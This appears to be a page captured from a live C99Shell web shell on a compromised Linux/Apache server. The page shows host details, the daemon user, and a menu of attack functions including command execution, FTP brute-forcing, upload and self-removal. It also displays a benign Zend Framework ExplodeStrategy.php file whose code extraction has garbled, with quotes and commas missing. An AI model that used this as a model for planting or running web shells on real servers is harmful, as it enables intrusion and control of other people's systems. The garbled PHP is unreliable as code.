!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/zendframework/zend-stdlib/src/Hydrator/Strategy/   drwxrwxr-x
Free 15.61 GB of 61.93 GB (25.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExplodeStrategy.php (3.01 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/zf2 for the canonical source repository
 * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Zend\Stdlib\Hydrator\Strategy;

final class 
ExplodeStrategy implements StrategyInterface
{
    
/**
     * @var string
     */
    
private $valueDelimiter;

    
/**
     * @var int|null
     */
    
private $explodeLimit;

    
/**
     * Constructor
     *
     * @param string   $delimiter    String that the values will be split upon
     * @param int|null $explodeLimit Explode limit
     */
    
public function __construct($delimiter ','$explodeLimit null)
    {
        
$this->setValueDelimiter($delimiter);

        
$this->explodeLimit = ($explodeLimit === null) ? null : (int) $explodeLimit;
    }

    
/**
     * Sets the delimiter string that the values will be split upon
     *
     * @param  string $delimiter
     * @return self
     */
    
private function setValueDelimiter($delimiter)
    {
        if (!
is_string($delimiter)) {
            throw new 
Exception\InvalidArgumentException(sprintf(
                
'%s expects Delimiter to be string, %s provided instead',
                
__METHOD__,
                
is_object($delimiter) ? get_class($delimiter) : gettype($delimiter)
            ));
        }

        if (empty(
$delimiter)) {
            throw new 
Exception\InvalidArgumentException('Delimiter cannot be empty.');
        }

        
$this->valueDelimiter $delimiter;
    }

    
/**
     * {@inheritDoc}
     *
     * Split a string by delimiter
     *
     * @param string|null $value
     *
     * @return string[]
     *
     * @throws Exception\InvalidArgumentException
     */
    
public function hydrate($value)
    {
        if (
null === $value) {
            return array();
        }

        if (!(
is_string($value) || is_numeric($value))) {
            throw new 
Exception\InvalidArgumentException(sprintf(
                
'%s expects argument 1 to be string, %s provided instead',
                
__METHOD__,
                
is_object($value) ? get_class($value) : gettype($value)
            ));
        }

        if (
$this->explodeLimit !== null) {
            return 
explode($this->valueDelimiter$value$this->explodeLimit);
        }

        return 
explode($this->valueDelimiter$value);
    }

    
/**
     * {@inheritDoc}
     *
     * Join array elements with delimiter
     *
     * @param string[] $value The original value.
     *
     * @return string|null
     */
    
public function extract($value)
    {
        if (!
is_array($value)) {
            throw new 
Exception\InvalidArgumentException(sprintf(
                
'%s expects argument 1 to be array, %s provided instead',
                
__METHOD__,
                
is_object($value) ? get_class($value) : gettype($value)
            ));
        }

        return empty(
$value) ? null implode($this->valueDelimiter$value);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.309 ]--